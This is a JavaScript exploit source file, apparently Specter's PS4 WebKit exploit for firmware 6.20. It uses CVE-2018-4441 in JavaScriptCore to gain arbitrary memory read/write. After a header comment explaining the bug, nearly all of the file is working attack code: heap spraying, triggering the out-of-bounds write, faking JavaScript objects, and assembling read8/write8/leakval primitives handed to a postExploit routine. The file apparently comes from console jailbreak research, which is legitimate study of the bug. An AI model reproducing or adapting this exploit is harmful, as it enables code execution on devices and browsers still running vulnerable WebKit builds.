README.md
Rendering markdown...
/*
* PS4 WebKit Exploit 6.20
* By Specter (@SpecterDev)
* -
* This file contains implementation for a JavaScriptCore (JSC) exploit targetting the
* PlayStation 4 on 6.20 firmware. The functions in this file specifically craft arbitrary
* memory read/write primitives, which are used to get code execution in index.html. This
* part of the exploit should be portable to lower firmwares with little to no changes.
* -
* A brief overview of the vulnerability...
*
* The exploit leverages CVE-2018-4441, a bug JSArray::shiftCountWithArrayStorage found by
* lokihardt. Due to flawed logic, essentially the bug allows us to shift an arbitrary amount
* of QWORDS (64-bit integers) down by 8 bytes. Via some heap feng shui with setting up target
* butterflies, this eventually results in an ArrayWithDoubles object with a very large size,
* allowing us to write out-of-bounds of the array. Using this, we can write into an
* ArrayWithContiguous (array of objects) to inject fake JavaScript objects and leak the address
* of real JavaScript objects by causing type confusion in the inline slots.
*
* With the ability to craft fake objects that JSC thinks are real ones, we can create our own arrays
* and modify where they point to internally, giving us an arbitrary read/write. With the ability to
* leak the address of real objects, we can effectively locate any object we want to in memory for
* code execution.
*/
var structs = [];
function zeroFill(number, width)
{
width -= number.toString().length;
if (width > 0)
{
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
}
return number + ""; // always return a string
}
try
{
// May need configuration depending on system? Left it as a variable just in case
var sprayMax = 0x400;
// Internal objects for u2d and d2u
var conversionBuf = new ArrayBuffer(0x100);
var u32 = new Uint32Array(conversionBuf);
var f64 = new Float64Array(conversionBuf);
// Helper for managing 64-bit values
function int64(low, hi) {
this.low = (low >>> 0);
this.hi = (hi >>> 0);
this.add32inplace = function (val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
this.hi = new_hi;
this.low = new_lo;
}
this.add32 = function (val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
return new int64(new_lo, new_hi);
}
this.sub32 = function (val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
return new int64(new_lo, new_hi);
}
this.sub32inplace = function (val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
this.hi = new_hi;
this.low = new_lo;
}
this.and32 = function (val) {
var new_lo = this.low & val;
var new_hi = this.hi;
return new int64(new_lo, new_hi);
}
this.and64 = function (vallo, valhi) {
var new_lo = this.low & vallo;
var new_hi = this.hi & valhi;
return new int64(new_lo, new_hi);
}
this.toString = function (val) {
val = 16;
var lo_str = (this.low >>> 0).toString(val);
var hi_str = (this.hi >>> 0).toString(val);
if (this.hi == 0)
return lo_str;
else
lo_str = zeroFill(lo_str, 8)
return hi_str + lo_str;
}
this.toPacked = function () {
return {
hi: this.hi,
low: this.low
};
}
this.setPacked = function (pck) {
this.hi = pck.hi;
this.low = pck.low;
return this;
}
return this;
}
// Helper for converting doubles <-> uint64's
function u2d(low, hi)
{
u32[0] = low;
u32[1] = hi;
return f64[0];
}
function d2u(val)
{
f64[0] = val;
var retval = new int64(u32[0], u32[1]);
return retval;
}
function main()
{
document.getElementById("go").style.display = 'none';
debug("---------- Phase 1: Obtaining Relative R/W Primitive ----------");
// Setup the corrupted arr for OOB write
//debug("[*] Setting up the attack array...");
var arr = [1];
arr.length = 0x100000;
arr.splice(0, 0x11);
arr.length = 0xfffffff0;
// Spray some target butterflies in CopiedSpace
//debug("[*] Spraying target objects on the heap...");
var targetButterflies = [];
for (var i = 0; i < sprayMax; i++)
{
targetButterflies[i] = [];
targetButterflies[i].p0 = 0.0;
targetButterflies[i].p1 = 0.1;
targetButterflies[i].p2 = 0.2;
targetButterflies[i].p3 = 0.3;
targetButterflies[i].p4 = 0.4;
targetButterflies[i].p5 = 0.5;
targetButterflies[i].p6 = 0.6;
targetButterflies[i].p7 = 0.7;
targetButterflies[i].p8 = 0.8;
targetButterflies[i].p9 = 0.9;
for (var k = 0; k < 0x10; k++)
{
// We want to smash the length of the array to the max possible value
targetButterflies[i][k] = u2d(0x7FFFFFFF, 0x7FEFFFFF);
}
}
//debug("[*] Triggering memory corruption....");
// Trigger shift of memory contents to cause OOB write on a sprayed array
arr.splice(0x1000, 0x0, 1);
var targetIdx = -1;
//debug("[*] Finding corrupted ArrayWithDouble for rel R/W...");
for (var i = 0; i < sprayMax; i++)
{
if (targetButterflies[i].length != 0x10)
{
//debug("[*] Found smashed butterfly!");
//debug("| [+] Index: 0x" + i.toString(16));
//debug("| [+] Length: 0x" + targetButterflies[i].length.toString(16));
targetIdx = i;
break;
}
}
if (targetIdx == -1)
{
alert("[-] Failed to find smashed butterfly.");
return;
}
// We now have an ArrayWithDoubles that can r/w OOB
var oobDoubleArr = targetButterflies[targetIdx];
debug("---------- Phase 2: Obtaining Arbitrary R/W Primitive ----------");
// Spray some objects to use for arb. R/W primitive
//debug("[*] Spraying ArrayWithContiguous objects...");
var primitiveSpray = [];
for (var i = 0; i < 0x800; i++)
{
primitiveSpray[i] = [];
for (var k = 0; k < 0x10; k++)
{
primitiveSpray[i].p0 = u2d(0x13371337, 0x0);
primitiveSpray[i].p1 = u2d(0x13371337, 0x0);
primitiveSpray[i].p2 = u2d(0x13371337, 0x0);
primitiveSpray[i].p3 = u2d(0x13371337, 0x0);
primitiveSpray[i].p4 = u2d(0x13371337, 0x0);
primitiveSpray[i].p5 = u2d(0x13371337, 0x0);
primitiveSpray[i].p6 = u2d(0x13371337, 0x0);
primitiveSpray[i].p7 = u2d(0x13371337, 0x0);
primitiveSpray[i].p8 = u2d(0x13371337, 0x0);
primitiveSpray[i].p9 = u2d(0x13371337, 0x0);
if(k == 0)
primitiveSpray[i][k] = 13.37;
else
primitiveSpray[i][k] = {};
}
}
//debug("[*] Finding potential primitive...");
var leakAndFakePrimIdx = -1;
var leakAndFakeDoubleIdx = -1;
var foundPrimitive = false;
for (var i = 0; i < 0x5000; i++)
{
var lookupIdx = 0x65000 + i;
var oldVal = oobDoubleArr[lookupIdx];
if (oldVal == undefined)
continue;
oobDoubleArr[lookupIdx] = u2d(0x00001337, 0x0);
for (var k = 0; k < 0x800; k++)
{
if(primitiveSpray[k].length != 0x10)
{
//debug("[*] Found a primitive!")
//debug("| [+] Primitive Index: 0x" + k.toString(16));
//debug("| [+] Double Index: 0x" + lookupIdx.toString(16));
//debug("| [+] Length: 0x" + primitiveSpray[k].length.toString(16));
foundPrimitive = true;
leakAndFakePrimIdx = k;
leakAndFakeDoubleIdx = lookupIdx;
oobDoubleArr[lookupIdx] = oldVal;
for(var test = 0; test < 0x10; test++)
{
f64[0] = oobDoubleArr[lookupIdx+test];
}
break;
}
}
if(foundPrimitive)
break;
oobDoubleArr[lookupIdx] = oldVal;
}
var slave = new Uint32Array(0x1000);
slave[0] = 0x13371337;
// First, leak the address of an array we'll use later for leaking arbitrary JSValues
//debug("[*] Leaking address of array for leak primitive...");
var leakTgt = {a: 0, b: 0, c: 0, d: 0};
leakTgt.a = slave;
primitiveSpray[leakAndFakePrimIdx][1] = leakTgt;
var leakTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2];
var leakTargetAddrInt64 = d2u(leakTargetAddr);
// Second, leak the address of an array we'll use for faking an ArrayBufferView via inline properties
//debug("[*] Leaking address of fake ArrayBufferView for R/W primitive...");
// Spray arrays for structure id
for (var i = 0; i < 0x100; i++)
{
var a = new Uint32Array(1);
a[Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5)] = 1337;
structs.push(a);
}
var rwTgt = {a: 0, b: 0, c: 0, d: 0};
rwTgt.a = u2d(0x00000200, 0x1602300);
rwTgt.b = 0;
rwTgt.c = slave;
rwTgt.d = 0x1337;
primitiveSpray[leakAndFakePrimIdx][1] = rwTgt;
var rwTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2];
var rwTargetAddrInt64 = d2u(rwTargetAddr);
//debug("| [+] R/W Target Address: 0x" + rwTargetAddrInt64.toString(16));
// Address + 0x10 = inline storage, so it will be the address of our fake ArrayBufferView
rwTargetAddrInt64 = rwTargetAddrInt64.add32(0x10);
// Write this fake object address into oobDoubleArr[leakAndFakeDoubleIdx+2] to retrieve the handle via primitiveSpray
oobDoubleArr[leakAndFakeDoubleIdx+2] = u2d(rwTargetAddrInt64.low, rwTargetAddrInt64.hi);
var master = primitiveSpray[leakAndFakePrimIdx][1];
var addrOfSlave = new int64(master[4], master[5]);
//debug("[*] Setting up primitive functions...");
var prim = {
// Read 64 bits
read8: function(addr)
{
master[4] = addr.low;
master[5] = addr.hi;
var retval = new int64(slave[0], slave[1]);
return retval;
},
// Read 32 bits
read4: function(addr)
{
master[4] = addr.low;
master[5] = addr.hi;
var retval = new int64(slave[0], 0);
return retval;
},
// Write 64 bits
write8: function(addr, val)
{
master[4] = addr.low;
master[5] = addr.hi;
if (val instanceof int64) {
slave[0] = val.low;
slave[1] = val.hi;
} else {
slave[0] = val;
slave[1] = 0;
}
},
// Write 32 bits
write4: function(addr, val)
{
master[4] = addr.low;
master[5] = addr.hi;
slave[0] = val;
},
// Leak an object virtual address
leakval: function(jsval)
{
leakTgt.a = jsval;
return prim.read8(leakTargetAddrInt64.add32(0x10));
}
};
window.postExploit(prim);
}
} catch (e) { alert(e); }